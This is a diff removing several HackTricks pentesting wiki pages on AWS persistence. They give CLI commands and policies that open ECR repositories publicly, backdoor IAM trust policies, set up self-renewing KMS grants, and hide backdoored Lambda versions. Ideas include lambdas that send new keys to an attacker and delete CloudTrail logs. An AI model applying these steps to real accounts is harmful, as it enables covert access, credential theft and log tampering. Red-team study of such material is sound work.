-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
deleted file mode 100644
index cdea71f8d..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ /dev/null
@@ -1,124 +0,0 @@
-# AWS - ECR Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## ECR
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ecr-enum.md" %}
-[aws-ecr-enum.md](../aws-services/aws-ecr-enum.md)
-{% endcontent-ref %}
-
-### Hidden Docker Image with Malicious Code
-
-An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
-
-### Repository Policy
-
-Add a policy to a single repository granting yourself (or everybody) access to a repository:
-
-```bash
-aws ecr set-repository-policy \
-    --repository-name cluster-autoscaler \
-    --policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-    "Version" : "2008-10-17",
-    "Statement" : [
-        {
-            "Sid" : "allow public pull",
-            "Effect" : "Allow",
-            "Principal" : "*",
-            "Action" : [
-                "ecr:BatchCheckLayerAvailability",
-                "ecr:BatchGetImage",
-                "ecr:GetDownloadUrlForLayer"
-            ]
-        }
-    ]
-}
-```
-
-{% hint style="warning" %}
-Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
-{% endhint %}
-
-### Registry Policy & Cross-account Replication
-
-It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
-
-<figure><img src="../../../.gitbook/assets/image (79).png" alt=""><figcaption></figcaption></figure>
-
-First, you need to give the external account access over the registry with a **registry policy** like:
-
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-  "Sid": "asdasd",
-  "Effect": "Allow",
-  "Principal": {
-    "AWS": "arn:aws:iam::947247140022:root"
-  },
-  "Action": [
-    "ecr:CreateRepository",
-    "ecr:ReplicateImage"
-  ],
-  "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-
-Then apply the replication config:
-
-```bash
-aws ecr put-replication-configuration \
-     --replication-configuration file://replication-settings.json \
-     --region us-west-2
-
-# Having the .json a content such as:
-{
-	"rules": [{
-		"destinations": [{
-			"region": "destination_region",
-			"registryId": "destination_accountId"
-		}],
-		"repositoryFilters": [{
-			"filter": "repository_prefix_name",
-			"filterType": "PREFIX_MATCH"
-		}]
-	}]
-}
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
deleted file mode 100644
index b534c2fd2..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - EFS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EFS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-efs-enum.md" %}
-[aws-efs-enum.md](../aws-services/aws-efs-enum.md)
-{% endcontent-ref %}
-
-### Modify Resource Policy / Security Groups
-
-Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
-
-### Create Access Point
-
-You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
deleted file mode 100644
index accebf399..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ /dev/null
@@ -1,78 +0,0 @@
-# AWS - IAM Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## IAM
-
-For more information access:
-
-{% content-ref url="../aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
-
-### Common IAM Persistence
-
-* Create a user
-* Add a controlled user to a privileged group
-* Create access keys (of the new user or of all users)
-* Grant extra permissions to controlled users/groups (attached policies or inline policies)
-* Disable MFA / Add you own MFA device
-* Create a Role Chain Juggling situation (more on this below in STS persistence)
-
-### Backdoor Role Trust Policies
-
-You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
-
-```json
-{
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": [
-                    "*",
-                    "arn:aws:iam::123213123123:root"
-                ]
-            },
-            "Action": "sts:AssumeRole"
-        }
-    ]
-}
-```
-
-### Backdoor Policy Version
-
-Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
-
-### Backdoor / Create Identity Provider
-
-If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
deleted file mode 100644
index dbf4efa29..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ /dev/null
@@ -1,66 +0,0 @@
-# AWS - KMS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## KMS
-
-For mor information check:
-
-{% content-ref url="../aws-services/aws-kms-enum.md" %}
-[aws-kms-enum.md](../aws-services/aws-kms-enum.md)
-{% endcontent-ref %}
-
-### Grant acces via KMS policies
-
-An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
-
-### Eternal Grant
-
-Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
-
-Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
-
-(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
-
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
-    --key-id <key-id> \
-    --grantee-principal <user_arn> \
-    --operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-
-{% hint style="info" %}
-A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
deleted file mode 100644
index 13f2777a8..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ /dev/null
@@ -1,90 +0,0 @@
-# AWS - Lambda Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Lambda
-
-For more information check:
-
-{% content-ref url="../../aws-services/aws-lambda-enum.md" %}
-[aws-lambda-enum.md](../../aws-services/aws-lambda-enum.md)
-{% endcontent-ref %}
-
-### Lambda Layer Persistence
-
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
-
-{% content-ref url="aws-lambda-layers-persistence.md" %}
-[aws-lambda-layers-persistence.md](aws-lambda-layers-persistence.md)
-{% endcontent-ref %}
-
-### Lambda Extension Persistence
-
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
-
-{% content-ref url="aws-abusing-lambda-extensions.md" %}
-[aws-abusing-lambda-extensions.md](aws-abusing-lambda-extensions.md)
-{% endcontent-ref %}
-
-### Via resource policies
-
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
-
-<figure><img src="../../../../.gitbook/assets/image (255).png" alt=""><figcaption></figcaption></figure>
-
-### Versions, Aliases & Weights
-
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
-
-<figure><img src="../../../../.gitbook/assets/image (120).png" alt=""><figcaption></figcaption></figure>
-
-### Version Backdoor + API Gateway
-
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
-   1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
-   1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
-   1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
-
-### Cron/Event actuator
-
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
-
-* Every time a new user is created lambda generates a new user key and send it to the attacker.
-* Every time a new role is created lambda gives assume role permissions to compromised users.
-* Every time new cloudtrail logs are generated, delete/alter them
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
deleted file mode 100644
index aa8a0269f..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ /dev/null
@@ -1,69 +0,0 @@
-# AWS - Abusing Lambda Extensions
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Lambda Extensions
-
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
-
-* **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-* **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
-
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-
-### External Extension for Persistence, Stealing Requests & modifying Requests
-
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-
-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process\_vm\_readv**” and “**process\_vm\_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
-
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
-
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
-
-<figure><img src="../../../../.gitbook/assets/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
-
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
-
-{% hint style="warning" %}
-By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
-{% endhint %}
-
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
-
-<figure><img src="../../../../.gitbook/assets/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
-
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
-
-## References
-
-* [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
-* [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
deleted file mode 100644
index 77290eacb..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# AWS - Lightsail Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Lightsail
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-lightsail-enum.md" %}
-[aws-lightsail-enum.md](../aws-services/aws-lightsail-enum.md)
-{% endcontent-ref %}
-
-### Download Instance SSH keys & DB passwords
-
-They won't be changed probably so just having them is a good option for persistence
-
-### Backdoor Instances
-
-An attacker could get access to the instances and backdoor them:
-
-* Using a traditional **rootkit** for example
-* Adding a new **public SSH key**
-* Expose a port with port knocking with a backdoor
-
-### DNS persistence
-
-If domains are configured:
-
-* Create a subdomain pointing your IP so you will have a **subdomain takeover**
-* Create **SPF** record allowing you to send **emails** from the domain
-* Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
